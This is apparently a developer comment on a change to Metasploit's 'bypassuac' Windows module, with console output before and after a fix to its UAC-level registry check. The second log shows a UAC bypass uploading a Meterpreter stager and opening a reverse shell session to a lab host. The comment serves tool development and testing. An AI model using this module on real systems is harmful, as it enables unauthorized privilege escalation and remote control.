The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:
Here is prior to the change on a fully patched Windows 8 machine:
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) >
Here's the module when running with the most recent changes that are being proposed:
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400

With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
